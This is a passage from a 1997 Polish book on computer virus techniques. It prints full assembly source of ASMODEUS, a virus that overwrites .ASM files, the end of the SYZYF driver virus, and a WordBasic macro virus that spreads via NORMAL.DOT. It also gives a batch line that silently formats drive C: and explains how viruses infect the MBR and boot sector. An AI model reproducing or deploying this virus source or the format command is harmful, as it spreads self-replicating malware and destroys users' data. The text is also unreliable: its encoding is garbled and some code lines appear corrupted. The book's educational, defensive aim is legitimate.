jmp short NastepnyZnak
InformacjaTxtOK:
mov ah,0
int 16h
and al,11011111b ; konwertuj znak na wielka litere
cmp al,'T' ; czy potwierdzona infekcja
clc ; ustaw flage na TAK
je CLCRet ; TAK i powrot
stc ; ustaw flage na NIE i powrot
CLCRet:
pop si ax
ret ; powrot
TeInformacja db CR,LF,'SYZYF v1.0, Autor : Adam Blaszczyk 1997'
db CR,LF
db CR,LF,'Czy chcesz uruchomic wirusa (T/N) ?'
db CR,LF,NUL
StarePrzerwanie dw offset Nosiciel
VirusEnd:
NoweDTA DTAStruc <?,?,?,?,?,?>
DTASegOfs dd ?
CzytNagl NAGL <>
ProceduraStrategii: ; na wejsciu ES:BX adres
; do pakietu zlecenia
mov word ptr cs:[AdresZlecenia],bx ; pobierz adres i zachowaj
mov word ptr cs:[AdresZlecenia+2],es; / go na pozniej
retf ; powrot z procedury
; strategii
AdresZlecenia dd ?
Nosiciel:
push ds ax bx
lds bx,dword ptr cs:[AdresZlecenia] ; pobierz adres pakietu
; zlecenia
xor ax,ax ;
mov word ptr ds:[bx+0Eh],ax ;
mov word ptr ds:[bx+10h],cs ;
mov byte ptr ds:[bx+0Dh],1 ;
mov word ptr ds:[bx+03h],8102h ;
pop bx ax ds
retf
SYZYF ENDS
END Start
4.1.4. Pliki systemowe DOS
4.1.4.1. Interpretator poleceñ
Infekcja interpretatora poleceñ (najczæúciej plik COMMAND.COM) w zasadzie przebiega tak samo jak w przypadku innych plików COM lub EXE (tylko we wczeúniejszych wersjach systemu DOS plik ten byù typu COM). Szybkie infektory najczæúciej szukajà w otoczeniu programu ùañcucha COMSPEC, bædàcego zmiennà úrodowiskowà systemu DOS, zawierajàcà peùnà nazwæ (ùàcznie ze úcieýkà) interpretatora poleceñ, i po znalezieniu od razu go infekujà.
Inny sposób dotarcia do pliku interpretatora poleceñ polega na zamazaniu czæúci jego kodu, leýàcego w pamiæci sùuýàcej do analizowania i wykonywania poleceñ. W rezultacie przy wykonywaniu jakiegoú polecenia z poziomu systemu DOS plik z interpretatorem poleceñ bædzie musiaù zostaã ponownie zaùadowany do pamiæci, a wtedy wirus bædzie mógù go zainfekowaã. Zaraýajàc interpretator poleceñ warto pamiætaã o tym, iý posiada on na swym koñcu pusty (wypeùniony zerami) obszar przeznaczony na stos, który jest na tyle dùugi, iý moýna go wykorzystaã, aby wpisaã tam kod wirusa, co umoýliwi wirusowi zainfekowanie go i przez to pozostawiã dùugoúã pliku niezmienionà (pomimo zmienionej zawartoúci).
4.1.4.2. Jàdro systemu (ang. kernel infector)
Jàdro systemu zawarte jest najczæúciej w pliku IO.SYS, choã zaleýy to od konkretnej realizacji systemu. Pomimo swego rozszerzenia plik IO.SYS nie jest typowym sterownikiem, jakie zwykle zawarte sà w plikach SYS, lecz programem o strukturze bardziej przypominajàcej pliki COM lub EXE, tak wiæc próby infekowania go jako sterownika SYS spowodujà jego zniszczenie i w efekcie zawieszenie systemu po starcie komputera. Wirusy infekujàce plik IO.SYS najczæúciej zapamiætujà poczàtek pliku w innym miejscu na dysku (najczæúciej w jakiú sposób ukrytym), a na poczàtek pliku IO.SYS nadpisujà swój kod. Po starcie systemu
program zawarty w BOOT-sektorze, ùaduje zainfekowany plik. Sterowanie przekazywane jest do wirusa, który po instalacji wczytuje oryginalnà zawartoúã pliku i oddaje do niego sterowanie.
4.1.5. Pliki wsadowe BAT
Wirusy typu batch nie sà programami komputerowymi, lecz skryptami, które modyfikujà pliki o rozszerzeniu BAT. Na kod takiego wirusa mogà siæ skùadaã:
> polecenia: CALL, CD, COPY, DEL, DIR, ECHO, FOR, GOTO, IF/
REM, RD, REN, SET, SHIFT, TYPE;
> parametry wejúciowe: %0 nazwa programu, %1-%9 parametry
programu;
> operatory zmiany przyporzàdkowania strumieni wejúciowych i
wyjúciowych: <, >, », |;
> nazwy zarezerwowane przez system DOS: urzàdzenie NUL;
> programy tradycyjnie dostarczane z systemem DOS: debugger DEBUG, ATTRIB,
FIND, FORMAT; sterownik ANSI.SYS;
> pola etykiet, wykorzystywane np. do pominiæcia linii, w której moýe byã kod
maszynowy (opisane w jednym z poprzednich rozdziaùów).
Na uwagæ zasùugujà wspomniane wyýej operatory zmiany przyporzàdkowania strumieni wyjúciowych. Ich dziaùanie moýe bowiem zostaã wykorzystane do doúã brutalnej destrukcji. Normalnie uýycie polecenia FORMAT C: czy DEL *.* wymaga potwierdzenia przez uýytkownika, który moýe zgodziã siæ lub nie na dokonywanà operacjæ Zmiana przyporzàdkowania strumieni umoýliwia zasymulowanie naciúniæcia przez uýytkownika jakiegoú klawisza (lub ich sekwencji), w tym wypadku potwierdzajàcych danà operacjæ. W efekcie polecenie zacznie siæ wykonywaã bez ýadnej kontroli ze strony uýytkownika!
Poza tym, skierowanie wszystkich komunikatów do urzàdzenia NUL moýe spowodowaã, iý o wykonywanych operacjach uýytkownik dowie siæ dopiero po ich zakoñczeniu.
Przykùadem moýe byã poniýsze polecenie, po którego wykonaniu dysk twardy zostanie sformatowany
ECHO Y | FORMAT C: NUL
Powyýszy przykùad powinien przekonaã kaýdego o celowoúci przeglàdania nieznanych plików wsadowych przed ich pochopnym uruchomieniem, aby uchroniã siæ przed niezbyt miùymi konsekwencjami.
4.1.6. Pliki DOC
Pliki DOC sà tworzone przez popularny edytor tekstów MS Word. Wirusy przemieszczajàce siæ w tych plikach wykorzystujà jæzyk Word Basie, wbudowany w ten program. Przy jego pomocy uýytkownik moýe tworzyã wùasne lub teý przedefiniowywaã juý istniejàce makra-Wirusy atakujàce dokumenty Worda wykorzystujà fakt, iý program ten ma kilka zdefiniowanych makr o specjalnym, wyjaúnionym w tabeli poniýej, znaczeniu, których przejæcie umoýliwia zainfekowanie kaýdego otwieranego lub zamykanego dokumentu.
Przy wczytywaniu zainfekowanego dokumentu uruchamiane jest na przykùad makro AutoOpen, które kopiuje wszystkie zdefiniowane w wirusie makra do pliku NORMAL.DOT (globalny szablon zawierajàcy definicje wszystkich podstawowych stylów, makr itd., uýywanych w edytorze). Od tej chwili kaýdy otwierany, zachowywany (zaleýy to od przejætego makra) plik DOC bædzie zaraýany. Infekcja polega na przerobieniu pliku DOC na DOT (czyli na plik zawierajàcy szablon) i dopisaniu do niego makr wirusa. Operacja ta musi byã wykonywana, poniewaý zwykùy plik DOC nie moýe zawieraã w sobie definicji makr.
Makra MS Word o ustalonym znaczeniu
Nazwa makra |
Opis makra |
AutoExec |
uruchamiane podczas rozpoczynania rozpoczynania pracy z Wordem z szablonu globalnego zawartego w pliku NORMAL.DAT |
AutoNew |
uruchamiane podczas tworzenia nowego dokumentu |
AutoOpen |
uruchamiane podczas otwierania dokumentu |
AutoClose |
uruchamiane podczas zamykania dokumentu |
AutoExit |
uruchamiane podczas koñczenia pracy z Wordem |
Przykùadem prostego wirusa dla dokumentów Worda moýe byã poniýszy program, który skùada siæ z dwóch makr: FileSave i AutoOpen. Pierwsze z nich sùuýy do infekcji plików DOC podczas ich zachowywania, natomiast drugie dopisuje do szablonu NORMAL.DOT dwa powyýsze makra bezpoúrednio po otwarciu zainfekowanego dokumentu (w rezultacie instaluje go rezydentnie w Wordzie). Aby wirus zbudowany z powyýszych makr zadziaùaù, naleýy je umieúciã w dowolnym (najlepiej nowym) dokumencie. Operacjæ tæ najproúciej przeprowadziã przy pomocy opcji NARZÆDZIA/MAKRO/UTWÓRZ, Poniýsze makra zawierajà fragmenty kodu, umoýliwiajàce kontrolowane uruchamianie wirusa (wirus prosi uýytkownika o potwierdzenie wszystkich wykonywanych przez siebie operacji).
Zawartoúã makra: AutoOpen
Sub MAIN
On Error Goto AutoOpen_Error
Tyt$ = 'Nowoczesne techniki wirusowe i antywirusowe,
Autor Adam B│aszczyk'
Uwg$ = 'Uwaga MakroWirus, Chcesz go zainstalowaµ ?' TiN = 256 +48+4 Prz = MsgBox(Uwg$, Tyt$, TiN) If (Prz = - l) Then MacroCopy WindowName$() + ':AutoOpen',
'Globalne:AutoOpen' MacroCopy WindowName$() + ':FileSave',
'Globalne:FileSave'
MsgBox 'Wirus dopisa│ siΩ do NORMAL.DOT, Sam tego chcia│e£ !!!', Tyt$, 64
End If AutoOpen_Error:
End Sub
Zawartoúã makra: FileSave
Sub MA1N FileSave On Error Goto FileSave_Error
Tyt$ = 'Nowoczesne techniki wirusowe i antywirusowe,
Autor Adan B│aszczyk' Uwg$ = 'Czy chcesz zainfekowaµ '' + WindowName$() + ''
makrowirusem ?'
TiN = 256 +48+4
Prz = MsgBox(Uwg$, Tyt$, TiN)
If (Prz = - 1) Then
MacroCopy 'Globalne:AutoOpen', WindowName$() +
':AutoOpen' MacroCopy 'Globalne: FileSave' , WindowName$ () +
':FileSave' FileSaveAs .Format - l
Tek$ = 'Wirus dopisa│ siΩ do '' + WindowName$() + ''' MsgBox Tek$, Tyt$, 64 FileSave
End lf
rem fileSave
FileSave_Error:
End Sub
Powyýszy wirus zadziaùa tylko w polskojæzycznej wersji MS Word (w wersjach dla innych jæzyków zmieniajà siæ nazwy procedur oraz szablonów).
Ze wzglædu na oferowanà przez Worda moýliwoúã szyfrowania makr powyýszego wirusa moýna w pewnym sensie uczyniã niewidzialnym (pewna forma techniki stealth). Naleýy w tym celu dodaã do polecenia MacroCopy ùañcuch 1, który oznacza, iý podczas kopiowania makra bædà zaszyfrowane. Uýytkownik nie bædzie mógù obejrzeã w edytorze zawartoúci takich makr.
4.1.7. Pliki XLS
Podobnie jak pliki DOC równieý arkusze Excela mogà zawieraã w sobie definicje makr, które moýe zdefinowaã lub przedefiniowaã wirus. Róýnica w stosunku do programu MS Word polega na tym, ýe rolæ pliku NORMAL.DOT z Worda peùni tu plik PERSONAL.XLS, inne jest teý nazewnictwo makr. Sam sposób dziaùania jest w zasadzie identyczny. Poniýsza tabela zawiera krótki opis makr automatycznych, dostæpnych w Excelu.
Makra MS Excela o ustalonym znaczeniu
Nazwa makra |
Opis makra |
auto_open |
uruchamiane podczas rozpoczynania pracy z Excelem |
auto_close |
uruchamiane podczas zamykania arkusza |
4.1.8. Pliki ASM
Zwykle wiækszoúã wirusów zaraýa pliki opisane na poprzednich stronach tego rozdziaùu. Oprócz nich istnieje maùa grupka wirusów, które infekujà pliki raczej nietypowe. Przykùadem mogà byã tu pliki ASM. Infekcja plików ASM polega na dodaniu wirusa do zaraýanego pliku ASM, bàdê teý na nadpisaniu oryginalnego programu ofiary kodem wirusa w postaci êródùowej. Czytajàc ten tekst moýna siæ dziwiã, w jaki sposób program moýe znaã, a tym bardziej transportowaã, swój wùasny kod êródùowy, który ma póêniej doùàczaã do ofiary. W rzeczywistoúci nie jest to takie trudne do zrealizowania. Uruchamialny, wykonujàcy siæ kod, który powstaje z pliku ASM, ma postaã binarnà, a wiæc wirus zaraýajàcy plik ASM teý jest w takiej postaci. Ze wzglædu na to, iý wirus ma dodaã do pliku swój wùasny kod, najproúciej przetworzyã go na przykùad na postaã szesnastkowà (jako ciàg DB ??h/??h//??h), i w takiej postaci dodaã kod wirusa do zaraýanego programu.
Poniýej przedstawiono przykùad prostego wirusa plików ASM, nad-pisujàcego (i w efekcie niszczàcego pliki).
;
Czesc ksiazki : 'Nowoczesne techniki wirusowe i antywirusowe' ;
;
ASMODEUS v1.0, Autor : Adam Blaszczyk 1997 ;
;
Prosty wirus nierezydentny, nadpisujacy, atakujacy pliki ASM ;
Infekuje pliki z atrybutem Archive, ReadOnly, System, Hidden ;
;
; Kompilacja : ;
TASM ASMODEUS.ASM ;
TLINK /t ASMODEUS.OBJ ;
;
.286p
ASMODEUS SEGMENT
JUMPS
ASSUME CS:ASMODEUS, DS:ASMODEUS
ORG 100h
NUL = 00h ;
LF = 0Ah ; stale znakow
CR = 0Dh ; / ASCII
DOLAR = '$' ; /
AtrReadOnly = 00000001b ;
AtrHidden = 00000010b ;
AtrSystem = 00000100b ; rozne stale atrybutow
AtrVolumeID = 00001000b ; / pozycji katalogu
AtrDirectory = 00010000b ; /
AtrArchive = 00100000b ; /
Atrybut = AtrArchive + AtrReadOnly + AtrSystem + AtrHidden + AtrVolumeID
; atrybut poszukiwanej pozycji
; katalogu
VirusDlug = offset (VirusEnd-VirusStart)
; dlugosc kodu wirusa
ASMNaglowek_Rozmiar = offset (ASMNaglowek_Koniec-ASMNaglowek_Start)
; dlugosc dyrekty z poczatku
; pliku ASM (ASSUME, ORG, itd.)
ASMKoncowka_Rozmiar = offset (ASMKoncowka_Koniec-ASMKoncowka_Start)
; dlugosc dyrekty z konca
; pliku ASM (ENDS, END)
VRok = 1998 ; data opisujaca
VMiesiac = 13 ; - pliki juz zainfekowane
VDzien = 31 ; /
VZnacznik = (VRok-1980)*512+VMiesiac*32+VDzien
DTAStruc struc ; struktura DTA bufora transmisji
; dyskowych uzywanych przez
; funkcje 4E i 4F
DTAFill db 21 dup (?) ; nieistotna czesc
DTAAttr db ? ; atrybut znalezionej pozycji
DTATime dw ? ; czas znalezionej pozycji
DTADate dw ? ; data znalezionej pozycji
DTASize dd ? ; dlugosc znalezionej pozycji
DTAName db 13 (?) ; nazwa znalezionej pozycji
DTAStruc ends
NoweDTA equ 80h
VirusStart: ; tu zaczyna sie kod wirusa
lea dx,TeInformacja ; podaj, gdzie jest tekst
Call Informacja ; spytaj o uruchomienie wirusa
jnc Infekcja ; CF=1 oznacza nie uruchamiaj
jmp BezInfekcji ; NIE - nie infekuj
Infekcja:
lea dx,MaskaASM ; maska poszukiwanych plikow '*.ASM'
mov cx,Atrybut ; podaj atrybut poszukiwanej pozycji
mov ah,4Eh ; funkcja DOS - szukaj pierwszej
; pozycji katalogu
int 21h ; wywolaj funkcje DOS
jc BezInfekcji ; gdy CF=1, to blad
KolejnyPlik:
cmp ds:[NoweDTA.DTADate],VZnacznik ; czy znaleziony plik jest juz
; zarazony ?
je SzukajNastepnyPlik ; tak = szukaj nastepnego
mov cx,AtrArchive ; podaj nowy atrybut : Archive
lea dx,ds:[NoweDTA.DTAName] ; podaj nazwe pliku do zmiany
mov ax,4301h ; funkcja DOS - zmien atrybut
int 21h ; wywolaj funkcje DOS
jc PrzywrocAtrybut ; gdy CF=1, to blad
lea dx,ds:[NoweDTA.DTAName] ; podaj nazwe pliku do odczytu
mov ax,3d02h ; funkcja DOS - otworz plik
; do odczytu i zapisu
int 21h ; wywolaj funkcje DOS
jc PrzywrocAtrybut ; gdy CF=1, to blad
xchg ax,bx ; przenies uchwyt pliku do BX
mov cx,ASMNaglowek_Rozmiar ; ile zapisac
lea dx,ASMNaglowek_Start ; skad pobrac dane
mov ah,40h ; funkcja DOS - zapisz do pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad
cld ; operacje na lancuchach do przodu
push bx ; zachowaj uchwyt pliku
lea di,Bufor ; gdzie zapisywac wynik
lea bx,Hex ; gdzie znajduje sie tablica
; translacji na znaki heksalne
lea si,VirusStart ; gdzie zaczyna sie kod
mov cx,VirusDlug ; ilosc bajtow do konwersji
RobHex:
mov ax,'BD' ;
stosw ; zapisz sekwencje
mov ax,'0 ' ; / 'db 0'
stosw ; /
lodsb ; pobierz bajt kodu
mov ah,al ; zapamietaj na pozniej
shr al,4 ; pobierz 4 gorne bity bajtu kodu
xlatb ; wez odpowiadajcy mu znak
stosb ; heksalny i zapisz go
mov al,ah ; wez zapamietany bajt kodu
and al,15 ; pobierz 4 dolne bity bajtu kodu
xlatb ; wez odpowiadajcy mu znak
stosb ; heksalny i zapisz go
; teraz bufor= 'db 0??'
mov al,'h' ; zapisz 'h' w buforze
stosb
; teraz bufor='db 0??h'
mov ax,0A0Dh ; zapisz znaki CR,LF
stosw
; teraz bufor='db 0??h',CR,LF
loop RobHex ; przetwarzaj caly kod programu
pop bx ; przwyroc uchwyt pliku
sub di,offset Bufor ; oblicz, ile bajtow zajmuje bufor
mov cx,di ; ile bajtow zapisac
lea dx,Bufor ; podaj, skad zapisac wirusa
; jako ciag DB ?,?, ?,?,?
mov ah,30h ; funkcja DOS - zapisz do pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad
mov cx,ASMKoncowka_Rozmiar ; ile zapisac
lea dx,ASMKoncowka_Start ; skad pobrac dane
mov ah,30h ; funkcja DOS - zapisz do pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad
mov cx,ds:[NoweDTA.DTATime] ; przywroc czas z bufora DTA
mov dx,VZnacznik ; zaznacz infekcje pliku
mov ax,5701h ; funkcja DOS - wpisz date, czas
int 21h ; wywolaj funkcje DOS
ZamknijPlik:
mov ah,3Eh ; funkcja DOS - zamknij plik
int 21h ; wywolaj funkcje DOS
SzukajNastepnyPlik: ; poprzedni plik byl zarazony
mov ah,4Fh ; funkcja DOS - szukaj innego
; plik ASM
int 21h ; wywolaj funkcje DOS
jnc KolejnyPlik ; gdy CF=1, to blad
PrzywrocAtrybut:
mov cl,ds:[NoweDTA.DTAAttr] ; podaj stary atrybut, CH=0
lea dx,ds:[NoweDTA.DTAName] ; podaj nazwe pliku do zmiany
mov ax,4301h ; funkcja DOS - zmien atrybut
int 21h
BezInfekcji:
ret ; koncz program, skocz do PSP:100h
; do rozkazu Int 20h
MaskaASM db '*.ASM' ; maska plikow ASM (ASCIIZ)
ASMNaglowek_Start:
db 'V SEGMENT',CR,LF
db 'ORG 100h',CR,LF
db 'Start:',CR,LF
ASMNaglowek_Koniec:
ASMKoncowka_Start:
db 'V ENDS',CR,LF
db 'END Start',CR,LF
ASMKoncowka_Koniec:
Hex db '0123456789ABCDEF'
; Czesc Informayjna
Informacja:
mov ah,09h ; funkcja DOS - wyswietl tekst$
int 21h ; wywolaj funkcje DOS
mov ah,01h ; funkcja DOS - czytaj znak
; ze standardowego wejscia
int 21h ; wywolaj funkcje DOS
; AL zawiera znak
push ax ; zapamietaj na chwile znak
mov ax,0E0Dh ; przejdz
int 10h ; do
mov ax,0E0Ah ; / nastepnej
int 10h ; / linii
pop ax ; przywroc znak
and al,11011111b ; konwertuj znak na wielka litere
cmp al,'T' ; czy potwierdzona infekcja
clc ; ustaw flage na TAK
je CLCRet ; TAK i powrot
stc ; ustaw flage na NIE i powrot
CLCRet:
ret ; powrot
TeInformacja db CR,LF,'ASMODEUS v1.0, Autor : Adam Blaszczyk 1997'
db CR,LF
db CR,LF,'Czy chcesz uruchomic wirusa (T/N) ?'
db DOLAR
VirusEnd:
Bufor db 32768 dup (?)
ASMODEUS ENDS
END VirusStart
4.2. Sektory systemowe
Po uruchomieniu komputera oraz po pozytywnym przejúciu sprzætowej inicjalizacji wszystkich ukùadów, procesor przystæpuje do uruchamiania systemu, oddajàc najpierw sterowanie do BIOS-a, który po przeprowadzeniu róýnych testów przekazuje kontrolæ dalej, tzn. do systemu operacyjnego. Aby to zrobiã, musi wczytaã go z pliku zawierajàcego jàdro systemu. Ze wzglædu na to, iý narzucona przez systemy operacyjne struktura plików (róýna dla róýnych systemów) jest dostæpna dopiero po zaùadowaniu odpowiedzialnego za dostæp do niej jàdra systemu (takýe róýnego dla róýnych systemów), powstaje bùædne koùo: aby zaùadowaã plik z jàdrem systemu, ono samo musi juý byã zaùadowane. Jasne jest, iý musi istnieã jakaú uniwersalna metoda na zaùadowanie dowolnego systemu (a wiæc i jàdra systemu). Problem ten rozwiàzano poprzez nadanie specjalnego znaczenia pierwszym sektorom dysków fizycznych i logicznych. Sektory te zawierajà krótkie programy, odpowiedzialne za zaùadowanie wùaúciwej czæúci jàdra systemu. W przypadku dysku fizycznego mamy do czynienia z tzw. Gùównym Rekordem Ùadujàcym, a w przypadku logicznych - z tzw. BOOT-sektorem. Dokùadniejszy ich opis znajduje siæ dalej.
4.2.1. Gùówny Rekord Ùadujàcy (ang. Master Boot Record-MBR
Kaýdy dysk twardy zawiera w swym pierwszym fizycznym (tzn. z punktu widzenia dostæpu przez BIOS) sektorze tzw. Gùówny Rekord Ùadujàcy (czæsto nazywany sektorem tablicy partycji), zawierajàcy informacje o podziale jego fizycznej struktury na logiczne party-cje (strefy). Oprócz powyýszych informacji rekord ten zawiera takýe krótki programik, majàcy na celu odnalezienie w tablicy partycji aktywnej strefy i zaùadowanie z niej systemu operacyjnego. Format gùównego rekordu ùadujàcego, opis zawartoúci tablicy partycji oraz rodzaje stref zawarte sà w poniýszych tablicach.
Format gùównego rekordu ùadujàcego (MBR)
Adres |
Zawartoúã |
Program wczytujàcy system z aktywnej partycji dysku twardego |
|
1BE |
Opis strefy nr 1 |
1CE |
Opis strefy nr 2 |
1DE |
Opis strefy nr 3 |
1EE |
Opis strefy nr 4 |
1FE |
Bajty 055h i 0AAh |
Opis jednej strefy w tablicy partycji
Adres |
Zawartoúã |
Znacznik aktywnoúci strefy: 00h - strefa nie zawiera systemu operacyjnego 80h - strefa zawiera system operacyjny |
|
Numer gùowicy, pod którà zaczyna siæ strefa |
|
Numer cylindra i sektora, pod którymi zaczyna siæ strefa, zapisane nastæpujàco (litery odpowiadajà kolejnym bitom): bajt spod adresu 02h: CCssssss bajt spod adresu 03h: cccccccc ssssss = numer sektora (0-63) CCcccccccc = numer cylindra (0-1023) |
|
Rodzaj strefy (wg nastæpnej tablicy) |
|
Numer gùowicy, pod którà koñczy siæ strefa |
|
Numer cylindra i sektora, pod którymi koñczy siæ strefa, zapisane tak samo jak w polu 02h-03h |
|
08-0B |
Wzglædny numer sektora rozpoczynajàcego strefæ |
0C-0F |
Dùugoúã strefy w sektorach |
Rodzaje stref wg bajtu z pola 04h w opisie strefy
Bajt Rodzaj strefy |
00h pusta |
01h DOS 12-bit FAT |
02h XENIX |
03h XENIX /usr |
04h DOSl6-bitFAT(do32M) |
05h DOS 3.3+ rozszerzona partycja |
06h DOS 3.31 + Large File System (16-bit FAT) |
07h QNX |
07h OS/2 HPFS |
07h Windows NT NTFS |
07h Advanced Unix |
08h OS/2 (tylko v1.0-1.3) |
08h AIX |
08h Commodore DOS |
08h DELL |
09h AIX |
09h Coherent |
0Ah OS/2 Boot Manager |
0Ah OPUS |
0Ah Coherent |
0Bh Windows 95 - 32-bit FAT |
0Ch Windows 95 - 32-bit FAT (LBA) |
0Eh zarezerwowane przez Microsoft dla VFAT |
0Fh zarezerwowane przez Microsoft dla VFAT |
10h OPUS |
11h OS/2 Boot Manager 12-bit FAT |
12h partycja Compaq Diagnostics |
14h tworzy jà Noyell DOS 7.0 FDISK |
14h OS/2 Boot Manager |
16h OS/2 Boot Manager |
17h OS/2 Boot Manager HPFS |
18h AST Windows plik wymiany |
21h zarezerwowana |
23h zarezerwowana |
24h NEC MS-DOS 3.x |
26h zarezerwowana |
31h zarezerwowana |
33h zarezerwowana |
34h zarezerwowana |
36h zarezerwowana |
3Ch PowerQuest |
40h VENIX 80286 |
41h Persona! RISC Boot |
42h SFS (Secure File System) |
50h OnTrack Disk Manager |
51h OnTrack Disk Manager |
51h NOYELL |
52h CP/M |
52h Microport System V/386 |
53h OnTrack Disk Manager |
54h OnTrack Disk Manager (DDO) |
56h GoldenBow VFeature |
61h SpeedStor |
63h Unix SysV/386 |
63h Mach |
64h Novell NelWare 286 |
65h NovetlNetWare(3.11) |
67h Novell |
68h Novell |
69h Novell _ |
70h DiskSecure Multi-Boot |
71h zarezerwowana |
73h zarezerwowana |
74h zarezerwowana |
75h PC/lX |
76h zarezerwowana |
80h Minixv1,1 - 1.4a |
81h Minixv1.4b+ |
81h Linux |
81h Mitac Advanced Disk Manager |
82h Linux Swap |
82h Prime |
83h Linux native file system |
84h OS/2 |
86h zarezerwowana |
87h HPFS Fault-Tolerant |
93h Amoeba file system |
94h Amoeba bad bùock table |
A1h zarezerwowana |
A3h zarezerwowana |
A4h zarezerwowana |
A5h FreeBSD |
A6h zarezerwowana |
B1h zarezerwowana |
B3h zarezerwowana |
B4h zarezerwowana |
B6h zarezerwowana |
B7h BSDI file system |
B8h BSDI plik wymiany |
C1h DR DOS 6.0 LOGIN.EXE 12-bit FAT |
C4h DR DOS 6.0 LOGIN.EXE 16-bit FAT |
C6h DR DOS 6.0 LOGlN.EXE Huge |
C7h Syrinx Boot |
D8h CP/M-86 |
DBh CP/M |
DBh CTOS (ConvergentTechnologies OS) |
E1h SpeedStor 12-bit FAT rozszerzona partycja |
E3h DOS tylko do czytania |
E3h Storage Dimensions |
E4h SpeedStor 16-bit FAT rozszerzona partycja |
E5h zarezerwowana |
E6h zarezerwowana |
F1h Storage Dimensions |
F2h DOS 3.3+ |
F3h zarezerwowana |
F4h SpeedStor |
F4h Storage Dimensions |
F6h zarezerwowana |
FEh LANstep |
FEh IBM PS/2 IML |
FFh Xenix |
Po wykonaniu wszystkich autotestów BIOS wczytuje MBR zawsze pod ten sam, staùy adres 0000:7C00 i wykonuje do tego miejsca daleki skok, przekazujàc tym samym sterowanie do programu ùadujàcego, który odszukuje strefæ aktywnà w tablicy partycji. Znalezienie strefy aktywnej polega na przeszukaniu tablicy partycji i sprawdzeniu, czy w polu 00h opisu badanej strefy znajduje siæ wartoúã 80h, co jest znakiem, iý jest to strefa aktywna i moýna z niej zaùadowaã system operacyjny.
Dziaùanie wirusów zaraýajàcych MBR polega na podmianie oryginalnego programu w niej zawartego na kod wirusa. Oryginalna tablica partycji moýe byã przechowywana w innym sektorze na dysku. Najproúciej Jest wczytaã oryginalny sektor przy pomocy funkcji (02/13), dokonaã zmian w jego strukturze i zapisaã zmodyfikowany sektor z powrotem na dysk przy uýyciu funkcji (03/13).
Po zaraýeniu MBR wirus jest nieaktywny do czasu zresetowania komputera. Po restarcie zainfekowana partycja jest wczytywana przez BIOS pod adres 0000:7C00 i sterowanie jest oddawane do wirusa, który zmniejsza pamiæã dostæpnà dla DOS-a (poprzez modyfikacjæ zmiennej BIOS, zawartej pod adresem 0000:413), a nastæpnie kopiuje siæ na koniec pamiæci, która jest juý niedostæpna dla DOS-a. Stamtàd przejmuje obsùugæ przerwañ i po wczytaniu oryginalnego sektora tablicy partycji (takýe pod adres 0000:7COO) oddaje do niej sterowanie, a tam oryginalny program ùadujàcy kontynuuje normalne wczytywanie systemu.
4.3. Rekord ùadujàcy (ang. BOOT-sector
Program ùadujàcy, zawarty w MBR, wczytuje system ze strefy aktywnej, dokùadniej: wczytuje pierwszy sektor (tzw. BOOT-sektor) ze strefy aktywnej pod adres 0000:7COO (a wiæc pod ten sam co w przypadku MBR), oddaje do niego sterowanie i dopiero program zawarty w BOOT-sektorze ùaduje plik zawierajàcy jàdro systemu (w przypadku systemu DOS - najczæúciej IO.SYS).
Powyýsza operacja jest wykonywana tylko dla dysku twardego. W przypadku dyskietek BIOS bezpoúrednio ùaduje BOOT-sektor z dyskietki i oddaje do niego sterowanie. Jak widaã, BIOS nie rozróýnia, czy wczytywany sektor jest MBR czy BOOT-sektorem, a jedynie odczytuje pierwszy sektor z dysku lub dyskietki i oddaje do niego sterowanie.
Przy pierwszym dostæpie do dysku system kopiuje do swych struktur wewnætrznych czæúã informacji zawartych w BOOT-sektorze. Informacje te sà zawarte w tzw. bloku BPB, zawartym w BOOT-sektorze od adresu 0Bh do 23h.
Zawartoúã BOOT-sektora przedstawiono w poniýszej tabeli.
Zawartoúã BOOT-sektora
Adres |
Zawartoúã |
Instrukcja skoku do programu ùadujàcego system, najczæúciej (OEBh ?? 90h). czyli JMP SHORT |
|
03-0A |
Nazwa wersji systemu (jako ùañcuch ASCII) |
Poczàtek bloku BPB |
+ |
0B-0C |
Wielkoúã sektora w bajtach |
0E-0F |
Liczba sektorów zarezerwowanych na poczàtku dysku |
Liczba kopii FAT |
|
Maksymalna liczba plików w katalogu gùównym |
|
Caùkowita liczba sektorów na dysku logicznym (nie uýywane) |
|
Bajt identyfikacji noúnika |
|
Liczba sektorów zajætych przez FAT |
|
Liczba sektorów na úcieýce |
|
1A-1B |
Liczba gùowic dysku |
1C-1D | |
Koniec bloku BPB | |
Numer fizyczny dysku |
|
Zarezerwowane |
|
Rozszerzony znacznik BOOT-sektora |
|
27-2A |
Numer woluminu |
2B-35 |
Etykieta dysku |
36-3D |
Typ FAT zapisany jako ùañcuch ASCII |
??-1FF |
Program wczytujàcy system |
Nietrudno domyúliã siæ, iý infekcja BOOT-sektora polegaã bædzie na zamianie oryginalnego programu w nim zawartego na kod wirusa, tak jak miaùo to miejsce w przypadku sektora tablicy partycji. Zamiast przerwania 13h przy infekcji BOOT-sektora ùatwiej uýyã przerwañ 25h i 26h, gdyý biorà one na siebie ciæýar wszystkich obliczeñ zwiàzanych z translacjà sektorów logicznych na fizyczne.
4.4. Jednostki Alokacji Plików (JAP) (ang. clusters)
Pierwszym wirusem, który zaraýaù JAP, byù wirus DIR-2. Ze wzglædu na pewne ograniczenia zaraýaù tylko w wersjach DOS mniejszych od 5.0. Aby zrozumieã zasadæ jego dziaùania, trzeba przede wszystkim wiedzieã, w jaki sposób system DOS zapisuje pliki na dysku. Kaýdy dysk logiczny widoczny w systemie posiada tzw. tablicæ FAT (ang. File Alocation Tobie), która dzieli dysk na równe czæúci, zwane Jednostkami Alokacji Plików JAP). Wielkoúã JAP jest róýna dla róýnych pojemnoúci dysków. Informacja o iloúci sektorów zajmowanych przez jednà JAP zawarta jest w BOOT-sektorze, w polu 0Dh. Kaýdy plik zapisywany na dysku ma do dyspozycji odpowiednià, wynikajàcà z jego dùugoúci, liczbæ jednostek alokacji. Liczba ta równa jest dùugoúci pliku podzielonej przez rozmiar jednej JAP. Obliczonà liczbæ naleýy zaokràgliã w góræ (aby uwzglædniã koñcówkæ pliku, która nie mieúci siæ w peùnej JAP). Jak widaã, pliki zapisane na dysku wcale nie muszà byã zapisane sekwencyjnie, tzn. róýne fragmenty pliku mogà byã porozrzucane po caùym dysku. Takýe widziana przez uýytkownika dùugoúã pliku tylko czasami zgadza siæ z prawdziwà dùugoúcià zajmowanà przez plik na dysku (gdy dùugoúã 